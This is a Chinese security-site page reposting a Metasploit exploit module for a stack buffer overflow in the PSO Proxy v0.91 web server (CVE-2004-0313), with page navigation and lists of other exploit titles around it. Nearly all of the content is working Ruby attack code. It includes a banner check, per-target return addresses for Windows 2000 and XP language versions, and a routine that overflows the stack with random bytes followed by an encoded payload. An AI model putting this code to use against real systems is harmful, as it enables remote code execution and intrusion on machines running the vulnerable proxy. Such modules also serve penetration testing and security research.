首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PSO Proxy v0.91 Stack Overflow(MSF)
来源:http://www.metasploit.com 作者:Webster 发布时间:2009-11-30  
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PSO Proxy v0.91 Stack Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
				If a client sends an excessively long string the stack is overwritten.
			},
			'Author'         => 'Patrick Webster <patrick@aushack.com>',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision
, 'References' => [ [ 'CVE', '2004-0313' ], [ 'OSVDB', '4028' ], [ 'URL', 'http://www.milw0rm.com/exploits/156' ], [ 'BID', '9706' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 370, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en. [ 'Windows 2000 Pro SP0-4 English', { 'Ret' => 0x75023112 } ], # call ecx ws2help.dll [ 'Windows 2000 Pro SP0-4 French', { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll [ 'Windows 2000 Pro SP0-4 Italian', { 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll [ 'Windows XP Pro SP0/1 English', { 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll [ 'Windows XP Pro SP2 English', { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll ], 'Privileged' => false, 'DisclosureDate' => 'Feb 20 2004', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), ], self.class) end def autofilter false end def check connect sock.put("GET / HTTP/1.0\r\n\r\n") banner = sock.get(-1,3) if (banner =~ /PSO Proxy 0\.9/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect exploit = rand_text_alphanumeric(1024, payload_badchars) exploit += [target['Ret']].pack('V') + payload.encoded sock.put(exploit + "\r\n\r\n") disconnect handler end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SentinelLM UDP Buffer Overflow
·mIRC IRC URL Buffer Overflow(M
·Microsoft IIS 5.0 WebDAV ntdll
·Firebird Relational Database i
·HP Mercury Quality Center Acti
·Eureka Mail Client Remote Buff
·AdaptCMS Lite 1.5 Remote File
·eIQNetworks ESA License Manage
·Millenium MP3 Studio 2.0 pls B
·Microsoft DirectX DirectShow S
·MuPDF pdf_shade4.c Multiple St
·Realtek Media Player Playlist
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved